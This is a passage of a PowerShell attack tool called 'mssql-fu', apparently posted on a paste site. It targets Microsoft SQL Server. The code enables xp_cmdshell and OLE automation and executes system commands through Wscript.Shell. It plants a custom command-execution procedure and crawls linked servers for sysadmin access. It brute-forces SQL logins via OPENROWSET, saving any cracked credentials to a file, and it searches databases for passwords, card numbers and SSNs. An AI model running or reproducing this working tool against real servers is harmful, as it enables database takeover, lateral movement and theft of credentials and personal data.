- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $row[0];
- }
- Write-Host "";
- } else {
- try {
- $sqlResult.result.line;
- } catch {
- $sqlResult.result;
- }
- }
- $sqlResult = mssql_query "DROP TABLE $($randTbl);";
- } else {
- Write-Host "[x] Error grabbing results from table";
- $sqlResult.msg
- }
- } else {
- Write-Host "[x] Error using BULK INSERT to load cmd output file contents";
- $sqlResult.msg
- Write-Host "[x] Attempting inline @FileSystemObject approach...`n";
- $sqlResult = mssql_query "DROP TABLE $($randTbl);";
- $fileOut = "";
- $sql = "declare @o int, @f int, @ret int, @line varchar(8000);";
- $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
- $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($rand)', 1;";
- $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
- $sql += "select @line;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- $executed = $True;
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $row[0];
- }
- Write-Host "";
- } else {
- try {
- $sqlResult.result.Column1;
- } catch {
- $sqlResult.result;
- }
- }
- } else {
- Write-Host "[x] Problem Reading CMD Output File Content!";
- $sqlResult.msg;
- }
- }
- } else {
- Write-Host "[x] Error Creating table to read results ";
- $sqlResult.msg
- }
- Start-Sleep -s 1
- if($executed) {
- # Delete redirected cmd output file
- $cmdArg = 'DEL /F "'+$rand+'"';
- $sql = "declare @shell int, @oexec int, @rc int, @ExecStat int, @output nvarchar(max), @loop int;";
- $sql += "set @loop = 0;";
- $sql += "exec @rc = sp_OACreate 'Wscript.Shell', @shell output;";
- $sql += "if @rc = 0 begin exec @rc = sp_OAMethod @shell, 'exec', @oexec output, 'cmd.exe /C $($cmdArg)';";
- $sql += "if @rc <> 0 begin exec sp_OAGetErrorInfo @shell; end ";
- $sql += "else begin set @ExecStat = 0;";
- $sql += "while @ExecStat = 0 and @rc = 0 and @loop < 500";
- $sql += "begin set @loop = @loop + 1;";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out; ";
- $sql += "waitfor delay '0:00:03'; end ";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'StdOut.ReadAll', @output out;";
- $sql += "SELECT isnull(@output,'NULL'); end ";
- $sql += "EXEC sp_OAMethod @shell, 'Close';";
- $sql += "exec @rc = sp_oaDestroy @oexec;";
- $sql += "exec @rc = sp_oaDestroy @shell; end";
- $result = mssql_query $sql;
- } else {
- Write-Host " [x] Problem Executing Command OR No Results Returned";
- }
- Write-Host "";
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^enable.func' -Or $userArg.ToLower() -match '^func.enable') {
- enable_func_help;
- Write-Host "";
- While($True) {
- $userEnableFuncArg = Read-Host "(mssql-fu\enable.func)>";
- if($userEnableFuncArg.ToLower() -eq 'x' -Or $userEnableFuncArg.ToLower() -eq 'exit' -Or $userEnableFuncArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, returning to main menu...`n";
- Break;
- } elseif($userEnableFuncArg.ToLower() -eq '?' -Or $userEnableFuncArg.ToLower() -eq 'h' -Or $userEnableFuncArg.ToLower() -eq 'help') {
- enable_func_help;
- } elseif($userEnableFuncArg.ToLower() -eq 'cls' -Or $userEnableFuncArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($userEnableFuncArg.ToLower() -eq 'xp.shell' -Or $userEnableFuncArg.ToLower() -eq 'xp_cmdshell' -Or $userEnableFuncArg.ToLower() -eq 'xp.cmd') {
- $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name='xp_cmdshell';"
- if($result.result.config_value -eq 1) {
- Write-Host "[?] xp_cmdshell is already enabled";
- Write-Host " [+] No action required, aborting...`n";
- } else {
- if($basicInfo.specificVersion -eq "SQL 2000") {
- $sql = "EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll';";
- } else { # 2005+
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'xp_cmdshell',1;";
- $sql += "EXEC master..sp_configure 'xp_dirtree',1;";
- $sql += "EXEC master..sp_configure 'xp_fileexist',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- }
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name='xp_cmdshell';"
- if($result.result.config_value -eq 1) {
- Write-Host "[*] xp_cmdshell is now ENABLED!";
- } else {
- Write-Host "[x] xp_cmdshell does NOT appear to be enabled, wtf?";
- $sqlResult.result;
- }
- } else {
- Write-Host "[x] Problem Enabling xp_cmdshell, sorry we tried....";
- $sqlResult.msg;
- }
- }
- Write-Host "";
- } elseif($userEnableFuncArg.ToLower() -eq 'new.xp' -Or $userEnableFuncArg.ToLower() -eq 'new.xp_cmdshell' -Or $userEnableFuncArg.ToLower() -eq 'xp.new') {
- $sqlResult = mssql_query "IF OBJECT_ID(dbo.new_xp_cmdshell) IS NOT NULL DROP PROCEDURE dbo.new_xp_cmdshell;";
- $sql = "DECLARE @foo nvarchar(999);";
- $sql += "SET @foo='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';";
- $sql += "EXEC master..sp_executesql @foo;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Created New Extended Procedure 'new_xp_cmdshell'";
- Write-Host " [+] It leverages Wscript.Shell, Run() so NO output is returned";
- Write-Host " [+] Use redirection of output to file to get results after, if needed...";
- Write-Host " [-] SELECT new_xp_cmdshell('whoami > c:\windows\temp\cmdresult.txt')";
- } else {
- Write-Host "[x] Problem Creating New Extended Procedure 'new_xp_cmdshell'";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userEnableFuncArg.ToLower() -eq 'openrowset' -Or $userEnableFuncArg.ToLower() -eq 'openrow') {
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Activated Ad Hoc Distributed Queries";
- Write-Host " [+] A.K.A Openrowset()";
- } else {
- Write-Host "[x] Problem Activating Ad Hoc Distributed Queries (a.k.a Openrowset)";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userEnableFuncArg.ToLower() -eq 'ole') {
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'ole automation procedures',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Activated OLE Automation Procedures";
- Write-Host " [+] A.K.A sp_OACreate & Friends";
- } else {
- Write-Host "[x] Problem Activating OLE Automation Procedures (a.k.a sp_OACreate & Friends)";
- $sqlResult.msg;
- }
- Write-Host "";
- } else {
- Write-Host "[x] Invalid Request: $($userEnableFuncArg)";
- Write-Host " [x] Try again with a valid argument...`n";
- enable_func_help;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^disable.func' -Or $userArg.ToLower() -match '^func.disable') {
- disable_func_help;
- Write-Host "";
- While($True) {
- $userDisableFuncArg = Read-Host "(mssql-fu\disable.func)>";
- if($userDisableFuncArg.ToLower() -eq 'x' -Or $userDisableFuncArg.ToLower() -eq 'exit' -Or $userDisableFuncArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, returning to main menu...`n";
- Break;
- } elseif($userDisableFuncArg.ToLower() -eq '?' -Or $userDisableFuncArg.ToLower() -eq 'h' -Or $userDisableFuncArg.ToLower() -eq 'help') {
- enable_func_help;
- } elseif($userDisableFuncArg.ToLower() -eq 'cls' -Or $userDisableFuncArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($userDisableFuncArg.ToLower() -eq 'xp.shell' -Or $userDisableFuncArg.ToLower() -eq 'xp_cmdshell' -Or $userDisableFuncArg.ToLower() -eq 'xp.cmd') {
- $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name='xp_cmdshell';"
- if($result.result.config_value -eq 0) {
- Write-Host "[?] xp_cmdshell is already disabled";
- Write-Host " [+] No action required, aborting...`n";
- } else {
- if($basicInfo.specificVersion -eq "SQL 2000") {
- $sql = "EXEC master..sp_dropextendedproc 'xp_cmdshell';";
- } else { # 2005+
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'xp_cmdshell',0;";
- $sql += "EXEC master..sp_configure 'xp_dirtree',0;";
- $sql += "EXEC master..sp_configure 'xp_fileexist',0;"; $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- }
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name='xp_cmdshell';"
- if($result.result.config_value -eq 0) {
- Write-Host "[*] xp_cmdshell is now DISABLED!";
- } else {
- Write-Host "[x] xp_cmdshell is still enabled, wtf?";
- $sqlResult.result;
- }
- } else {
- Write-Host "[x] Problem Disabling xp_cmdshell, sorry we tried....";
- $sqlResult.msg;
- }
- }
- Write-Host "";
- } elseif($userDisableFuncArg.ToLower() -eq 'new.xp' -Or $userDisableFuncArg.ToLower() -eq 'new.xp_cmdshell' -Or $userDisableFuncArg.ToLower() -eq 'xp.new') {
- $sqlResult = mssql_query "IF OBJECT_ID(dbo.new_xp_cmdshell) IS NOT NULL DROP PROCEDURE dbo.new_xp_cmdshell;";
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Removed Extended Procedure 'new_xp_cmdshell'";
- } else {
- Write-Host "[x] Problem Removing Extended Procedure 'new_xp_cmdshell'";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userDisableFuncArg.ToLower() -eq 'openrowset' -Or $userDisableFuncArg.ToLower() -eq 'openrow') {
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Disabled Ad Hoc Distributed Queries";
- Write-Host " [+] A.K.A Openrowset()";
- } else {
- Write-Host "[x] Problem Disabling Ad Hoc Distributed Queries (a.k.a Openrowset)";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userDisableFuncArg.ToLower() -eq 'ole') {
- $sql = "EXEC master..sp_configure 'show advanced options',1;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'ole automation procedures',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sql += "EXEC master..sp_configure 'show advanced options',0;";
- $sql += "RECONFIGURE WITH OVERRIDE;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Disabled OLE Automation Procedures";
- Write-Host " [+] A.K.A sp_OACreate & Friends";
- } else {
- Write-Host "[x] Problem Disabling Ad Hoc Distributed Queries (a.k.a Openrowset)";
- $sqlResult.msg;
- }
- Write-Host "";
- } else {
- Write-Host "[x] Invalid Request: $($userDisableFuncArg)";
- Write-Host " [x] Try again with a valid argument...`n";
- disable_func_help;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^link') {
- $sql = "select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server';";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- $count = $sqlResult.result.Column1;
- if($count -gt 0) {
- Write-Host "[*] Crawling Linked Servers...";
- Write-Host " [+] Links Found $($count)";
- # Enumerate Linked Servers...
- $l = @();
- $linkedOut = "[*] Available Linked SQL Servers: `n";
- $linkedServers = {$linkedServers}.Invoke();
- for($i=0; $i -lt $count; $i++) {
- $sql = "SELECT TOP 1 srvname FROM master..sysservers ";
- $sql += "WHERE srvname in (SELECT TOP $($i) srvname FROM master..sysservers ";
- $sql += "WHERE srvname != @@servername AND dataaccess = 1 ";
- $sql += "AND srvproduct = 'SQL Server' ORDER BY srvname asc) ORDER BY srvname DESC";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
- $srvName = $sqlResult.result.Column1;
- if($srvName -ne "") {
- if($linkedServers -contains $srvName) { continue; }
- $sql = "SELECT * FROM openquery(`"$($srvName)`", 'SELECT CAST(is_srvrolemember(''sysadmin'') AS VARCHAR)');";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
- if($linkedServers -notcontains $srvName) {
- $linkedServers.Add($srvName);
- Write-Host " [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName)";
- $linkedOut += " [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName)`n";
- if($sqlResult.result.Column1 -eq 1) {
- Write-Host " [+] SYSADMIN: YES";
- $linkedOut += " [+] SYSADMIN: YES`n";
- } else {
- Write-Host " [+] SYSADMIN: No";
- $linkedOut += " [+] SYSADMIN: No`n";
- }
- Write-Host " [+] Execute SQL on Linked Server:";
- Write-Host " sql> SELECT * FROM openquery(`"$($srvName)`", '_YOUR_QUERY_HERE_');"
- $linkedOut += " sql> SELECT * FROM openquery(`"$($srvName)`", '_YOUR_QUERY_HERE_');`n";
- # Check for Linked Servers, on found linked server
- $count2 = 0;
- $sQuery = "SELECT count(srvname) from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')";
- $q = addTicks $sQuery 2;
- $sql = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
- $count2 = $sqlResult.result.Column1;
- if($count2 -gt 0) {
- Write-Host " [*] $($count2) Tertiary Linked Servers Found";
- $sqlLinks = "SELECT TOP 1 srvname FROM master..sysservers ";
- $sqlLinks += "WHERE srvname in (SELECT TOP $($i) srvname FROM master..sysservers ";
- $sqlLinks += "WHERE srvname != @@servername AND dataaccess = 1 ";
- $sqlLinks += "AND srvproduct = 'SQL Server' ORDER BY srvname asc) ORDER BY srvname DESC";
- $q = addTicks $sqlLinks 3;
- $sql = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
- foreach($row in $sqlResult.result) {
- $srvName3 = $row[0];
- $versionQuery = "SELECT @@servername,system_user,is_srvrolemember('sysadmin'),(SELECT count(srvname) from ";
- $versionQuery += "master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')";
- $q = addTicks $sqlLinks 4;
- $sql2 = "SELECT * FROM openquery(`"$($srvName3)`", '$($q)');";
- $q = addTicks $sql2 3;
- $sql1 = "SELECT * FROM openquery(`"$($srvName)`", '$($q)');";
- $sqlResult3 = mssql_query $sql;
- if($sqlResult3.result -ne $NULL -And $sqlResult3.msg -eq "") {
- foreach($row3 in $sqlResult3.result) {
- $srvName3 = $row3[0];
- $usrName3 = $row3[1];
- $privs3 = $row3[2];
- $links3 = $row3[3];
- Write-Host " [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)";
- $linkedOut += " [*] GOOD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)`n";
- Write-Host " [+] Server Name: $($srvName3)";
- $linkedOut += " [+] Server Name: $($srvName3)`n";
- Write-Host " [+] Current User: $($usrName3)";
- $linkedOut += " [+] Current User: $($usrName3)`n";
- if($privs3 -eq 1) {
- Write-Host " [+] SYSADMIN: YES";
- $linkedOut += " [+] SYSADMIN: YES`n";
- } else {
- Write-Host " [+] SYSADMIN: NO";
- $linkedOut += " [+] SYSADMIN: NO`n";
- }
- if($links3 -gt 0) {
- Write-Host " [+] $($links3) Additional Linked Servers Found!";
- $linkedOut += " [+] $($links3) Additional Linked Servers Found!`n";
- }
- $linkedOut += " sql> SELECT * FROM openquery(`"$($srvName)`", 'SELECT * FROM openquery(`"$($srvName3)`", ''_YOUR_QUERY_HERE_'')');`n";
- }
- } else {
- Write-Host " [*] BAD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)";
- $linkedOut += " [*] BAD LINK: $($basicInfo.srvrname) => $($srvName) => $($srvName3)`n";
- }
- }
- }
- }
- } else {
- if($sqlResult.msg -ne "") {
- Write-Host " [x] Problem Checking Basic Info on Secondary Link: ";
- $sqlResult.msg;
- } else {
- Write-Host " [x] NO Results Returned From Secondary Link Query";
- }
- }
- }
- } else {
- Write-Host " [-] BAD LINK: $($basicInfo.srvrname) => $($srvName)";
- $linkedOut += " [-] BAD LINK: $($basicInfo.srvrname) => $($srvName)`n";
- }
- }
- } else {
- Write-Host "[x] Error Encountered Fetching Server Name for Link $($i)";
- $sqlResult.msg;
- }
- }
- if($linkedOut -ne "") {
- New-Item -path $outDir -Name "mssqlfu-linked_servers.txt" -Value $linkedOut -ItemType file -force | Out-Null;
- }
- Write-Host "";
- } else {
- Write-Host "[x] NO Linked Servers Found";
- }
- } else {
- Write-Host "[x] Problem Finding Linked Servers";
- $sqlResult.msg
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^openrowset$' -Or $userArg.ToLower() -match '^brute') {
- $sqlResult = mssql_query "SELECT name FROM master..syslogins";
- if($sqlResult.result -ne $NULL) {
- $usrOut = "[*] Current SQL User Accounts:`n";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- $usrOut += " [+] $($row.name)`n";
- }
- }
- $usrOut += "`n";
- Write-Host $usrOut;
- }
- $usernameArg = Read-Host "ENTER SQL Username to Try";
- Write-Host "";
- $pwdFile = Read-Host "ENTER Path to Passwords File to Use";
- Write-Host "";
- if(Test-Path -Path $pwdFile) {
- $passwords = Get-Content $pwdFile;
- Write-Host "[*] Bruteforcing Account via OPENROWSET()";
- Write-Host " [+] Username: $($usernameArg)";
- Write-Host " [+] Passwords Loaded: $($passwords.Count)`n";
- Write-Host "[*] Starting authentication attempts...";
- While($True) {
- $remaining = $passwords.Count;
- foreach($p in $passwords) {
- $sql = "SELECT * FROM OPENROWSET('SQLOLEDB', ''; '$($usernameArg)'; '$($p)', 'SELECT 1');";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- Write-Host "`n[*] Successfully Authenticated via OPENROWSET()";
- Write-Host " [+] Username: $($usernameArg)";
- Write-Host " [+] Password: $($p)";
- Write-Host " [+] Execute SQL as User:";
- Write-Host " sql> SELECT * FROM OPENROWSET('SQLOLEDB', ''; '$($usernameArg)'; '$($p)', 'SELECT 1; _YOUR_QUERY_HERE_');";
- Write-Host "`n NOTE: Openrowset() must return at least one column value, hence the 'SELECT 1' query prefix"
- Write-Host " Also requires any single quotes inside your query to be doubled up '=>'', or else..."
- $out = "mssql,$ip,$usernameArg,$p,master";
- Add-Content -path "$($outDir)\creds.csv" $out | Out-Null;
- Break
- } else {
- if(($remaining % 25) -eq 0) {
- Write-Host " [-] Attempts Remaining: $($remaining)";
- }
- }
- $remaining = $remaining - 1;
- }
- Break;
- }
- } else {
- Write-Host "[x] Unable to Load Passwords File: $()";
- Write-Host " [x] Check path or permissions and try again...";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^idf$' -Or $userArg.ToLower() -match '^search$' -Or $userArg.ToLower() -match '^interest.data') {
- Write-Host "[*] Interesting Data Finder Options:";
- Write-Host " [1] Use Default Regex String: '(?i)pwd|pass|bank|credit|card|cc|ccv|ssn|logon|user'";
- Write-Host " [2] Use Custom User Provided Regex String`n";
- $optionArg = Read-Host "ENTER IDF Option Number";
- Write-Host "";
- if($optionArg -eq 2) {
- $regexArg = Read-Host "ENTER Custom Regex String";
- Write-Host "";
- $regexStr = $regexArg;
- } else {
- $regexStr = '(?i)pwd|pass|bank|credit|card|cc|ccv|ssn|logon|user';
- }
- $idata = @();
- $interestingDataItems = {$idata}.Invoke();
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Searching for Interesting Data...";
- foreach($dbName in $sqlResult.result) {
- if($dbName.name -ne $NULL) {
- if($dbName.name -match $regexStr) {
- Write-Host " [+] DB: $($dbName.name)";
- if($interestingDataItems -notcontains "DB: $($dbName.name)") {
- $interestingDataItems.Add("DB: $($dbName.name)");
- }
- }
- $sql = "SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE From $($dbName.name).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '_DBNAME_' AND TABLE_SCHEMA like 'dbo';".Replace("_DBNAME_", $dbName.name);
- $sqlResult2 = mssql_query $sql;
- if($sqlResult2.result -ne $NULL) {
- foreach($row in $sqlResult2.result) {
- if($row.TABLE_NAME -match $regexStr) {
- if($interestingDataItems -notcontains "DB: $($dbName.name), Table: $($row.TABLE_NAME)") {
- Write-Host " [+] DB: $($dbName.name), Table: $($row.TABLE_NAME)";
- $interestingDataItems.Add("DB: $($dbName.name), Table: $($row.TABLE_NAME)");
- }
- }
- if($row.COLUMN_NAME -match $regexStr) {
- if($interestingDataItems -notcontains "DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)") {
- Write-Host " [+] DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)";
- $interestingDataItems.Add("DB: $($dbName.name), Table: $($row.TABLE_NAME), Column: $($row.COLUMN_NAME)");
- }
- }
- }
- }
- }
- }
- Write-Host "[*] Interesting Data Finder Search Complete";
- $idfOut = "[*] Interesting Data Finder Results:`n";
- if($interestingDataItems.Count -gt 0) {
- $idfOut += " [+] $($interestingDataItems.Count) Interesting Items Found`n";
- Write-Host " [+] $($interestingDataItems.Count) Interesting Items Found"
- foreach($item in $interestingDataItems) {
- Write-Host " [-] $($item)";
- $idfOut += " [-] $($item)`n";
- }
- $idfOut += "`n";
- Write-Host "`n[+] Happy Hunting!`n"
- New-Item -path $outDir -Name "mssqlfu-interesting_data_finder.results.txt" -Value $idfOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] No Interesting Data Found :(";
- }
- } else {
- Write-Host " [x] Unable to Get Database Listing to Run Full Search";
- }
- Write-Host "";
- } else {
- # Execute raw SQL Query & Return results
- $result = mssql_query $userArg;
- if($result.rowCount -gt 1) {
- foreach($row in $result.result) {
- $row;
- }
- } else {
- if($result.msg -ne "") {
- $result.msg;
- } else {
- try {
- $result.result.Column1;
- } catch {
- $result.result;
- }
- }
- }
- Write-Host "";
- }
- }
- } else {
- Write-Host "[x] Unable to Connect to MS-SQL Server!";
- Write-Host " [x] Check arguments and try again...";
- }
- Write-Host "`n[*] Good Bye`n";
- # EOF
Advertisement
Add Comment
Please, Sign In to add comment